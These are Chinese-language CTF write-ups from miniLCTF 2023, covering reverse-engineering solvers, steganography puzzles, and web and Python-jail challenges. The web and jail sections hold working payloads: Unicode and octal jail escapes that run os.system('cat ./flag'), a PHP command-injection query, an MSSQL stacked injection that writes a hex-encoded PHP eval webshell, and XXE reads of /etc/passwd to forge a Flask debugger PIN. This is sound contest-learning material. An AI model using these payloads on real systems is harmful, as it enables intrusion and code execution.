0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 84 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 85 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 86 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 87 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x79, 0x6F, 0x75, 88 | 0x5F, 0x73, 0x68, 0x6F, 0x75, 0x6C, 0x64, 0x5F, 0x70, 0x61, 89 | 0x74, 0x63, 0x68, 0x5F, 0x74, 0x68, 0x69, 0x73, 0x5F, 0x66, 90 | 0x6C, 0x61, 0x67] 91 | 92 | text1 = [BitVec(f"{i}", 8) for i in range(124 - 97)] 93 | for i in range(97, 123): 94 | str0[i] = text1[i - 97] 95 | str0[0] = 1 96 | names = ["aaCCzCzzMMaMCMa", 97 | "bbMMyMyyZZbZMZb", 98 | "ccCCxCxxJJcJCJc", 99 | "ddQQwQwwMMdMQMd", 100 | "eeYYvYvvKKeKYKe", 101 | "ffHHuHuuCCfCHCf", 102 | "ggDDtDttKKgKDKg", 103 | "hhDDsDssOOhODOh", 104 | "iiCCrCrrIIiICIi", 105 | "jjOOqOqqDDjDODj", 106 | "kkSSpSppEEkESEk", 107 | "llXXoXooTTlTXTl", 108 | "mmLLnLnnVVmVLVm", 109 | "nnII_I__HHnHIHn", 110 | "ooOO_O__CCoCOCo", 111 | "ppFF_F__NNpNFNp", 112 | "qqDD_D__BBqBDBq", 113 | "rrTT_T__BBrBTBr", 114 | "ssJJ_J__CCsCJCs", 115 | "ttGG_G__XXtXGXt", 116 | "uuDD_D__OOuODOu", 117 | "vvUU_U__JJvJUJv", 118 | "wwOO_O__SSwSOSw", 119 | "xxRR_R__SSxSRSx", 120 | "yyEE_E__KKyKEKy", 121 | "zzJJ_J__TTzTJTz", 122 | ] 123 | for str1 in names: 124 | for i in range(1, len(str1) + 1): 125 | str0[i] = ord(str1[i - 1]) 126 | str0[0] = 1 127 | for i in range(0, 5): 128 | v4 = str0[str0[0] + 1] 129 | v3 = str0[str0[0]] 130 | v2 = str0[str0[0] + 2] 131 | str0[0] += 3 132 | str0[v2] = (~(str0[v4] & str0[v3])) & 0xff 133 | s = Solver() 134 | cipher = [0x64, 0x04, 0x65, 0x0F, 0x2C, 0x5D, 0x39, 0x23, 0x23, 0x00, 135 | 0x16, 0x05, 0x1D, 0x8F, 0x93, 0x9A, 0xA0, 0xB3, 0x93, 0xA9, 136 | 0x92, 0xA0, 0xAF, 0xCB, 0x8C, 0xCA] 137 | for i in range(97, 123): 138 | s.add(cipher[i - 97] == str0[i]) 139 | print(s.check()) 140 | m = s.model() 141 | 142 | for d in m.decls(): 143 | print(f"{d.name()} = {m[d]}") 144 | 145 | # final = {20: 109, 146 | # 18: 108, 147 | # 13: 112, 148 | # 17: 76, 149 | # 10: 115, 150 | # 21: 95, 151 | # 15: 101, 152 | # 23: 52, 153 | # 7: 79, 154 | # 5: 48, 155 | # 6: 111, 156 | # 8: 111, 157 | # 0: 81, 158 | # 2: 81, 159 | # 12: 109, 160 | # 3: 95, 161 | # 16: 95, 162 | # 14: 108, 163 | # 22: 80, 164 | # 9: 95, 165 | # 11: 105, 166 | # 1: 119, 167 | # 25: 53, 168 | # 19: 86, 169 | # 24: 115, 170 | # 4: 115, 171 | # } 172 | 173 | ``` 174 | 175 | 然后就可以了 176 | 177 | QwQ_s0oOo_simple_LlVm_P4s5 -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/1.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/10.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/11.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/12.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/2.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/3.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/4.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/5.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/6.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/7.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/8.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/9.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/img.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/img_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/img_1.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/img_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/img_2.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/img_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/img_3.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/img_4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/img_4.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/assets/img_5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/ɯɐǝʇ˥/assets/img_5.png -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/maze_aot.md: -------------------------------------------------------------------------------- 1 | # maze_aot wp by dr3 2 | 3 | 输入%llx,输入十六进制的数储存,之后调用 4 | maze_walk函数。 5 | 6 | ## maze_walk 7 | 8 | 函数很复杂,但是基本原理是走64步以内到达目标 9 | 10 | 目标函数可以通过查看字符串获得 11 | 12 | 基本思路就是acm基础图论。 13 | 14 | 先写idapython脚本提取图 15 | 16 | 之后只需要跑一个dfs或者bfs,然后得到最短路径就可以 17 | 18 | 使用networkx库也可以很快的得到目标最短路径 19 | 20 | 之后判断基本快是否是0,1,通过判断目标块和块中存在的是 21 | jz还是jnz输出0,1 22 | 23 | 最后转回16进制,不要忘了倒转。 24 | 25 | ```python 26 | import idaapi 27 | 28 | function_address = 0x1500 29 | 30 | function = idaapi.get_func(function_address) 31 | 32 | graph = dict() 33 | cfg = idaapi.FlowChart(function) 34 | exclusive_nodes = list() 35 | target_length = 65 36 | first = None 37 | end = 9177 38 | jmp_dict = dict() 39 | for block in cfg: 40 | graph[block.start_ea] = list() 41 | start_address = block.start_ea 42 | end_address = block.end_ea 43 | if first is None: 44 | print("Starting") 45 | first = start_address 46 | ea = 0 47 | if end_address - start_address <= 5: 48 | print("found jmp block") 49 | exclusive_nodes.append(start_address) 50 | for succ in block.succs(): # is a jmp block, ignore it 51 | graph[block.start_ea].append(succ.start_ea) 52 | continue 53 | flag = 0 54 | tgt = 0 55 | while (end_address - ea) != start_address: 56 | 57 | if idc.GetDisasm(end_address - ea).startswith("jnz"): 58 | # print(int(idc.GetDisasm(end_address - ea)[-4::],16)) 59 | flag = 1 60 | tgt = int(idc.GetDisasm(end_address - ea)[-4::],16) 61 | elif idc.GetDisasm(end_address - ea).startswith("jz"): 62 | flag = 2 63 | tgt = int(idc.GetDisasm(end_address - ea)[-4::], 16) 64 | ea += 1 65 | if flag != 0: 66 | jmp_dict[block.start_ea] = (flag,tgt) 67 | for succ in block.succs(): 68 | graph[block.start_ea].append(succ.start_ea) 69 | 70 | 71 | 72 | print(jmp_dict) 73 | 74 | 75 | def BFS(grap, star): # BFS算法 76 | queue = [] # 定义一个队列 77 | seen = set() # 建立一个集合,集合就是用来判断该元素是不是已经出现过 78 | queue.append(star) # 将任一个节点放入 79 | seen.add(star) # 同上 80 | parent = {star:None} #存放parent元素 81 | while (len(queue) > 0): # 当队列里还有东西时 82 | ver = queue.pop(0) # 取出队头元素 83 | notes = grap[ver] # 查看grep里面的key,对应的邻接点 84 | for i in notes: # 遍历邻接点 85 | if i not in seen: # 如果该邻接点还没出现过 86 | queue.append(i) # 存入queue 87 | seen.add(i) # 存入集合 88 | parent[i] = ver #将元素对应的parent元素存入字典中 89 | return parent 90 | 91 | 92 | # path = bfs(graph, first, end) 93 | parent = BFS(graph,first) 94 | 95 | a = end 96 | while a != None: 97 | # print(a) 98 | p.append(a) 99 | a = parent[a] 100 | path = p 101 | 102 | print(f"路径: {path}") 103 | for i in range(len(path) - 1): 104 | if path[i] not in exclusive_nodes and path[i] != 5376: 105 | 106 | next = path[i + 1] 107 | if (jmp_dict[path[i]][1] == next and jmp_dict[path[i]][0] == 1): 108 | print('1', end="") 109 | elif (jmp_dict[path[i]][1] != next and jmp_dict[path[i]][0] == 1): 110 | print("0", end='') 111 | elif (jmp_dict[path[i]][1] == next and jmp_dict[path[i]][0] == 2): 112 | print("0", end='') 113 | elif (jmp_dict[path[i]][1] != next and jmp_dict[path[i]][0] == 2): 114 | print("1", end='') 115 | else: 116 | print("ERR") 117 | 118 | ``` -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/miniL leon.md: -------------------------------------------------------------------------------- 1 | # miniLCTF{1t_w0rk5_w1th_SSTV_@nd_R0b0t36!} 2 | 3 | ## SSTV 音频转换图片 4 | 5 | ### pwd文件 在Audacity中打开,调到查看音频频谱,发现压缩包密码 6 | 7 | ### 在图片中发现一半flag,分离wav文件,用SSTV发现另外一半 8 | 9 | # minilctf{nYx6cdmtzziRnZ0mS2kPd4GLouv-nbe-} 10 | 11 | ## pyjail 12 | 13 | ### kali nc连接 14 | 15 | ### 多次尝试输入并发现 16 | 17 | #### 限制输入长度 18 | 19 | ##### 查询资料获取解决方法 20 | 21 | ###### 使用exec(input()) 绕过输入长度限制 22 | 23 | #### 限制字母 24 | 25 | 太绝对了,不能用字母怎么执行代码啊啊啊啊啊 26 | 27 | ##### 百度一下我就知道 28 | 29 | ###### 居然可以用斜体字母绕过 30 | 31 | ###### 猜想限制的为ascll码的字母,但有其他长得一样的字母,unicode码不一样 32 | 33 | 验证 34 | 35 | ![2](assets/2.png) 36 | 37 | ![3](assets/3.png) 38 | 39 | 验证成功 40 | 41 | ##### 一个个换属实麻烦,那就用python,简简单单啦 42 | 43 | ``` 44 | 𝑎,𝑏,𝑐,𝑑,𝑒,𝑓,𝑔,𝘩,𝑖,𝑗,𝑘,𝑙,𝑚,𝑛,𝑜,𝑝,𝑞,𝑟,𝑠,𝑡,𝑢,𝑣,𝑤,𝑥,𝑦,𝑧 45 | a = ['𝑎', '𝑏', '𝑐', '𝑑', '𝑒', '𝑓', '𝑔', '𝘩', '𝑖', '𝑗', '𝑘', '𝑙', '𝑚', '𝑛', '𝑜', '𝑝', '𝑞', '𝑟', '𝑠', '𝑡', '𝑢', '𝑣', '𝑤', 46 | '𝑥', '𝑦', '𝑧'] 47 | c = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 48 | 'x', 'y', 'z'] 49 | b = list(input()) 50 | for i in b: 51 | if i in c: 52 | print(a[ord(i) - 97], end='') 53 | else: 54 | print(i, end='') 55 | ``` 56 | 57 | #### 可以进行计算 58 | 59 | ##### 并没有什么用 60 | 61 | ### 解决 62 | 63 | #### 尝试输入字母 64 | 65 | oh hacker! 66 | 67 | #### 查询资料,可以用八进制表示代码(震惊,还有这种操作) 68 | 69 | ##### 验证 70 | 71 | ![4](assets/4.png) 72 | 73 | 也没运行啊喂 74 | 75 | ###### 再次百度,原来得加 exec 76 | 77 | 再来 78 | 79 | ![5](assets/5.png) 80 | 81 | 淦没结果 82 | 83 | 再次百度,原来得加 print 84 | 85 | 再来 86 | 87 | ![6](assets/6.png) 88 | 89 | ##### 检验成功 90 | 91 | ##### 但是还是得加exec 还是得输入字母 92 | 93 | ##### 淦 94 | 95 | #### 只要查不死,就继续查 发现可以跟换字母字体(还有这种操作) 96 | 97 | ##### 赶紧去试一试 98 | 99 | ![7](assets/7.png) 100 | 101 | 芜湖 102 | 103 | 理论基础已经成立 104 | 105 | 开始试pyload 106 | 107 | ### 多次尝试pyload 108 | 109 | #### pyload 110 | 111 | ##### one 112 | 113 | ``` 114 | ().__𝑐𝑙𝑎𝑠𝑠__.__𝑏𝑎𝑠𝑒𝑠__[0].__𝑠𝑢𝑏𝑐𝑙𝑎𝑠𝑠𝑒𝑠__()[40]('./𝑓𝑙𝑎𝑔').𝑟𝑒𝑎𝑑() 115 | input too long 116 | ``` 117 | 118 | #### 淦,还有一个输入过长没解决 119 | 120 | ##### 查,接着查! 121 | 122 | ###### 使用exec(input()) 绕过输入长度限制 123 | 124 | ![8](assets/8.png) 125 | 126 | 至少不是 too long 127 | 128 | ###### two 129 | 130 | ``` 131 | 𝘩𝑒𝑙𝑝() 请求支援,请求支援 132 | __main__ 133 | ``` 134 | 135 | ![9](assets/9.png) 136 | 137 | 发现一些好像有点用的东西 138 | 139 | ###### three 140 | 141 | ``` 142 | breakpoint() 函数进入pdb调试模式 143 | 先用step进入模块,可以使用list查看当前代码块 144 | ``` 145 | 146 | ![11](assets/11.png) 147 | 148 | 发现很有用的东西 149 | 150 | ###### four 151 | 152 | ``` 153 | __import__('os').system('ls') 154 | ``` 155 | 156 | ![1](assets/1.png) 157 | 158 | ###### five 159 | 160 | ``` 161 | __import__('os').system('cat ./flag') 162 | ``` 163 | 164 | ![12](assets/12.png) 165 | 166 | 终于获得flag 167 | 168 | ###### six 169 | 170 | ``` 171 | __import__('os').system('cat chall.py') 172 | ``` 173 | 174 | ![10](assets/10.png) 175 | 176 | 代码拿来吧你 -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/minilinux.md: -------------------------------------------------------------------------------- 1 | # minilinux wp by dr3 2 | 3 | 使用make run运行busybox加qemu做的一个linux虚拟机 4 | 5 | 很显然是要分析ko模块,就是个内核,和linux本体没有太大的关系 6 | 7 | ida打开发现加载了一个设备 8 | 9 | 很容易定位到关键函数sub_DE0 10 | 11 | obfs_decode是一个加法加密,简单解密可以得到 12 | 2b7e151628aed2a6abf7158809cf4f3c 13 | 14 | 下面通过sprintf来将其转换为了内存中的值 15 | 16 | 下面标注后关键加密和check函数 17 | 18 | ```c 19 | bool __fastcall sub_BF0(__int64 input_end, char *input_begin) 20 | { 21 | _BOOL4 v2; // eax 22 | _BYTE ctx[176]; // [rsp-F0h] [rbp-F0h] BYREF 23 | __int128 v5; // [rsp-40h] [rbp-40h] 24 | unsigned __int64 v6; // [rsp-30h] [rbp-30h] 25 | unsigned __int64 v7; // [rsp-28h] [rbp-28h] 26 | unsigned __int64 v8; // [rsp-20h] [rbp-20h] 27 | 28 | _fentry__(input_end); 29 | v8 = __readgsqword(0x28u); 30 | *(_QWORD *)&v5 = 0x5A96B0813E935426LL; 31 | *((_QWORD *)&v5 + 1) = 0x86E97215021B2394LL; 32 | v6 = 0xCA67F9B2C8B5F4C9LL; 33 | v7 = 0xB3E603429B5AFA0ALL; 34 | memset(ctx, 0, sizeof(ctx)); 35 | aes_init(ctx, input_begin); 36 | aes_enc((_BYTE *)input_end, (__int64)ctx); 37 | aes_enc((_BYTE *)(input_end + 16), (__int64)ctx); 38 | v2 = *(_OWORD *)input_end != v5 || *(_QWORD *)(input_end + 16) != v6 || *(_QWORD *)(input_end + 24) != v7; 39 | return !v2; 40 | } 41 | ``` 42 | 43 | 是个魔改的aes,具体可以findcrypt查询魔数 44 | 45 | 魔改的点在 46 | 47 | ```C 48 | v9 = *(_BYTE *)(v2 + v6) ^ v3[v6]; 49 | ``` 50 | 51 | 就是add_round_key这里魔改了,其实很简单, 52 | 改一下aes解密的源码就可以,同样进行一下异或就行 53 | 54 | ```C 55 | (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j]; 56 | (*state)[i][j] ^= 0x42; 57 | ``` 58 | 59 | 解密即可 -------------------------------------------------------------------------------- /WriteUps/夜店里的纯爱战神/Zh1A0'S WP For MiniL.md: -------------------------------------------------------------------------------- 1 | # 夜店里的纯爱战神 2 | 3 | **Member** 4 | 5 | Zh1A0 6 | 7 | ## Web 8 | 9 | ### singin 10 | 11 | 访问环境在F12发现`shell.php`,访问直接给出了源码,查指纹得出PHP版本为5.6 12 | 13 | 通过GET传入7个参数`a`,`b`,`c`,`d`,`e`,`f`,`g` 14 | 15 | 然后有如下操作 16 | 17 | ~~~php 18 | $class = new $a($b); 19 | $str1 = substr($class->$c(),$d,$e); 20 | $str2 = substr($class->$c(),$f,$g); 21 | ~~~ 22 | 23 | 对参数有过滤,逻辑如下 24 | 25 | ~~~php 26 | preg_match("/Error|ArrayIterator|SplFileObject/i", $a) 27 | preg_match("/php/i", $b) 28 | preg_match("/Error|ArrayIterator/i") 29 | ~~~ 30 | 31 | 这题肯定是用到能返回字符串的原生类,然后来截取执行命令的,能返回字符串的原生类还可以用的有`Ecxeption`,在`b`中传入我们要执行的命令`system("cat f*")'`,然后在本地调试根据报错内容来确定截取的长度 32 | 33 | payload: 34 | 35 | `a=Exception&b=systemcat f*&c=__toString&d=36&e=6&f=42&g=6` 36 | 37 | ### ezsql 38 | 39 | 题目描述数据库语句为MSSQL,并且直接给了语句`SELECT id FROM dbo.users WHERE id = ` 40 | 41 | 测试得出为数字型,只会回显第一个语句的结果,有过滤 42 | 43 | `blacklist:`$ % & * " ' < > create insert 空格 44 | 45 | 描述中说题目在服务器里面,所以最后肯定是要拿shell的 46 | 47 | 先用`AND`根据报错信息得出数据库版本,用户权限等基本信息 48 | 49 | 引号被过滤了可以利用16进制转换得出 50 | 51 | ~~~sql 52 | 1AND(@@version)=1 53 | #Microsoft SQL Server 2017 (RTM-CU31-GDR) (KB5021126) - 14.0.3460.9 (X64) Jan 25 2023 08:42:43 Copyright (C) 2017 Microsoft Corporation Developer Edition (64-bit) on Linux (Ubuntu 18.04.6 LTS) 54 | 1AND(IS_SRVROLEMEMBER(CONVERT(varchar,0x73797361646D696E)))=1 55 | #sysadmin->TRUE 56 | 1AND(IS_ROLEMEMBER(CONVERT(varchar,0x64625F6F776E6572)))=1 57 | #db_owner->TRUE 58 | ~~~ 59 | 60 | 得出是MSSQL2017的linux版本 61 | 62 | 没有过滤`;`,我们可以采取堆叠注入 63 | 64 | 参考[aleenzz/MSSQL_SQL_BYPASS_WIKI: MSSQL注入提权,bypass的一些总结 (github.com)](https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI) 65 | 66 | 用`0x1e`等字符编码绕过空格,用`declare`声明局部变量,mssql变量支持16进制,所以用16进制对变量进行赋值,来绕过对引号的过滤,然后利用log备份来向同级目录写shell 67 | 68 | ~~~sql 69 | 1;declare@svarchar(2000)set@s=0x6261636b75702064617461626173652063746620746f206469736b203d20272f7661722f7777772f68746d6c2f6374662e70687027exec(@s) 70 | 1;CREATEtable[dbo].[test]([cmd] [image]); 71 | 1;INSERTintotest(cmd)values(0x3c3f70687020406576616c28245f4745545b27313233275d293b3f3e) 72 | 1;declare@svarchar(2000)set@s=0x6261636b75702064617461626173652063746620746f206469736b3d272f7661722f7777772f68746d6c2f6374662e70687027205749544820444946464552454e5449414c2c464f524d4154exec(@s) 73 | ~~~ 74 | 75 | 然后访问ctf.php,执行`ls`看目录,然后读flag 76 | 77 | ### fake_login 78 | 79 | 打开是一个登陆框,看指纹,后端是Flask 80 | 81 | F12看到一段JS代码,内容大概是,没用采用传统的表达提交数据,而是采用xml格式提交 82 | 83 | 到这里想到用xxe打,尝试读了几个文件,发现没什么发现,后端是Flask,直接进`/console`看 84 | 85 | 发现控制台锁了,需要pin码,这就很明显需要算pin来rce了 86 | 87 | xxe读`/etc/passwd`得到用户名为`minictfer`,payload: 88 | 89 | ```xml 90 | 91 | ]> 92 | 93 | &xxe; 94 | password 95 | 96 | ``` 97 | 98 | 读`/sys/class/net/eth0/address`得mac地址为`02:42:ac:11:00:07` 99 | 100 | 读`/proc/sys/kernel/random/boot_id`得为`0e3f1348-aaee-4680-ae33-6b3d626a9c91` 101 | 102 | 再读了一下`/proc/self/cgroup`发现是空的,当时这里卡了,就想着去再读类似的目录去得出后一段机器码,结果算出来的pin码是错的,去问了xlccccc才反应过来`/proc/self/cgroup`是空的机器码直接用`0e3f1348-aaee-4680-ae33-6b3d626a9c91`就好了 103 | 104 | 然后再构造一个错误的xml格式根据页面的报错得出目录为`/usr/local/lib/python3.9/site-packages/flask/app.py` 105 | 106 | 有了这些算机器码的要素就能构造pin码了,不过需要注意的是这里的为python3,构造pin码脚本里的哈希函是`sha1` 107 | 108 | 根据网上的脚本(这里就不贴了)构造pin码进调试控制台,执行命令看环境变量,找到flag 109 | 110 | ## Misc 111 | 112 | ### (picture_out_of_voice)*2 113 | 114 | 题目给了一个压缩包,解压里面是一个未知格式名为pwd文件和一个加密的flag压缩包,显然是要通过pwd文件获取密码来解压的,放入010editor看,是一个wav格式的文件,放入到Audacity中看,看频谱图看到了解压密码,解压flag压缩包得到一个png格式,接近3.6M,猜测里面应该是藏了另一个文件,定位到文件尾,发现了前半段flag,在后面是一个音频格式的文件,同时前半段flag也给出了提示`it work with SSTV`,然后上网查了一下SSTV 115 | 116 | 相关资料,SSTV是可以根据音频转换成图片,下载了RXSSTV根据教程将分离出来的音频文件robot36解码转成图片得后半段flag 117 | 118 | ### pycalculator 119 | 120 | 一道比较有趣**pyjail**的题目 121 | 122 | 连接环境后是一个类似计算器的东西,会把输入的表达式执行并返回结果 123 | 124 | 简单测试了一下,过滤了所有字母,然后长度的限制为32 125 | 126 | 最后拿flag肯定是要通过命令执行的,但是python没有PHP的特性可以构造无字母的命令执行 127 | 128 | 搜索了一下在这篇文章中找到了绕过的办法([一道有趣的pyjail题目分析 - 先知社区 (aliyun.com)](https://xz.aliyun.com/t/9271#toc-1)) 129 | 130 | 在python3支持Non-ASCII Identifies,也就是可以把Unicode编码的字母当作代码来执行,意思就是在表达式中输入斜体或者其他特殊字体的字母,也是可以当作代码来执行的,但是传入函数的参数不行,传入函数的参数我们可以用八进制来绕过,最后构造的payload就是 131 | 132 | ~~~python 133 | open('\146\154\141\147','\162').read() 134 | #open("flag","r").read() 135 | ~~~ 136 | 137 | 138 | 139 | -------------------------------------------------------------------------------- /WriteUps/熬夜型rx直播切片委员会/ZeroAurora.md: -------------------------------------------------------------------------------- 1 | # mini L-CTF 2023 WriteUp by ZeroAurora 2 | 3 | ## 队伍介绍 4 | 5 | - 队伍名:熬夜型rx直播切片委员会 6 | - 队员:Koito Coco(队长), Static, passers-by, ZeroAurora(我) 7 | - 本人主攻:misc 8 | 9 | ## (picture_out_of_voice)^2 10 | 11 | 真正的签到题,本人抢到手刹,但是截至写作时已经掉到 500pts。 12 | 13 | 下载附件,解压得到 `pwd` 和 `flag.7z`。系统识别 pwd 是 WAV 音频文件,结合题目名,打开 Audacity 查看频谱图,得到 `flag.7z` 密码。 14 | 15 | ![pwd 频谱图](assets/ZeroAurora-1.png) 16 | 17 | 解压出来是个 `left.png`,大小高达 3m 有余,但是 `foremost` 产生的完全相同的图片仅有数百 kb。考虑夹杂其他文件,但是 `binwalk` 和 `foremost` 均无法解出。打开 hex 编辑器查看之,发现该文件实际由一个 PNG、一段 flag 文字(`flag:miniLCTF{1t_w0rk5_w1th_SSTV_`)和一个 WAV 音频组成。 18 | 19 | ![ImHex 截图](assets/ZeroAurora-2.png) 20 | 21 | 手动提取 WAV,保存为 `right.wav`,根据 Flag 左半部分提示,播放并使用 QSSTV 解码,得到包含 Flag 右半部分的图片。 22 | 23 | ![QSSTV 截图](assets/ZeroAurora-3.png) 24 | 25 | 得到 Flag:`miniLCTF{1t_w0rk5_w1th_SSTV_@nd_R0b0t36!}` 26 | 27 | 顺便一提,Flag 中的 Robot36 是这段 SSTV 的编码格式。 28 | 29 | 30 | ## Evase64 31 | 32 | 虚假的签到题。谁家签到和奶茶是同义词啊? 33 | 34 | 不难理解题目要求一个 Base64 解码按小端序转 int 结果和 eval 结果全等的字符串。特别注意的是 `eval` 过程中禁止了方法或函数的调用。 35 | 36 | 群内消息提示最短 payload 是六个字符。于是和 Koito Coco 讨论尝试爆破,起初思维限制在符合 Base64 规则的数学表达式上,爆破未果。 37 | 38 | 后来 Koito Coco 发现默认情况下 `base64.b64decode` 方法并不要求提供的 ASCII 字符串符合 Base64 规则(不符合字符的会被自动忽略),于是从爆破转向利用这一缺陷。 39 | 40 | 后来本人提出 `False == 0` 的想法,并且根据这个想法发现了 payload:`"AA"==""`。这个字符串使用 `base64.b64decode` 方法解码得到 `0`,而 eval 结果为 `False`。经提交验证成功,得到 Flag。 41 | 42 | 后来我们又根据这个想法发现了好几个六字符的 payload。都到这里了相信大家也都能想出来,留作练习(不)。 43 | 44 | ## Android in Tunnel 45 | 46 | 先看 logcat (AndroidLogcatMain.pcapng)。 47 | 48 | 在 logcat 中频繁出现了一个包名:`com.genymobile.gnirehtet`。非常巧合的是,我之前因为手机基带硬件烧毁,正好用过一段时间的这个东西。 49 | 50 | [Gnirehtet](https://github.com/Genymobile/gnirehtet) 是一个能够让手机使用电脑的互联网连接的工具。其原理是向手机推送一个非常迷你的本地 VPN 应用并安装,这个应用启动之后会自动设置 VPN,将 VPN 流量全部转发到电脑的 server,再由 server 转发出去。 51 | 52 | (如果熟悉这个 repo 的 org 名:没错,大名鼎鼎的 scrcpy 也是这个名为 Genymobile 的公司的员工的作品。) 53 | 54 | 出题人如果考别的协议那也太变态了。当然也是因为看到前台应用切换到了 Microsoft Edge (No. 1235 @ AndroidLogcatMain.pcapng),于是便翻 USB 流量包 (USBPcap3.pcapng) 找 Plain HTTP 流量。先用 Wireshark 过滤出包内容含 HTTP 字样的包,再清除过滤器看相邻的包。因为有太多的小杂包,所以不妨用过滤器过滤出大于 100b 的包。 55 | 56 | 很快就找到了 No. 135: 57 | 58 | ``` 59 | GET /getpwd.html HTTP/1.1 60 | Host: 124.222.21.16:8080 61 | Connection: keep-alive 62 | [...] 63 | ``` 64 | 65 | 于是接着往下看 (No. 159): 66 | 67 | ``` 68 | HTTP/1.1 200 OK 69 | Date: Fri, 31 Mar 2023 05:34:57 GMT 70 | [...] 71 | ``` 72 | 73 | 和再往下相邻的几个包共同组成了一整个 HTTP 回复。其中的两行非常瞩目: 74 | 75 | ```html 76 |

Link: https://pastebin.com/r1zKVLP5

77 |

PWD: 8uma8yF03G

